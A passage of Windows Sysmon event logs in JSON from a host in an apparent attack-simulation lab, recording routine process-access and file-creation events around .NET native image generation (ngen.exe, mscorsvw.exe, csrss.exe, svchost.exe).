C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.370","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010931A0D00}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7694,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.370\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010931A0D00}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.370","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010931A0D00}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7695,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.402\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-00100A880E00}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.402","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-00100A880E00}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7696,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:57.604\r\nProcessGuid: {90617006-42F1-5F2D-0000-00100A880E00}\r\nProcessId: 3940\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f64-0\\System.Drawing.Design.dll\r\nCreationUtcTime: 2020-08-07 12:02:57.604","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:57.604","ProcessGuid":"{90617006-42F1-5F2D-0000-00100A880E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f64-0\\System.Drawing.Design.dll","CreationUtcTime":"2020-08-07 12:02:57.604","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7697,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BD-5F2D-0000-0010CA670D00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BD-5F2D-0000-0010CA670D00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7698,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BD-5F2D-0000-0010CA670D00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BD-5F2D-0000-0010CA670D00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7699,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-0010798C0E00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-0010798C0E00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7700,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.902\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001035900E00}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.902","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001035900E00}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7701,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.902\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001035900E00}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.902","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001035900E00}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7702,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001035900E00}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 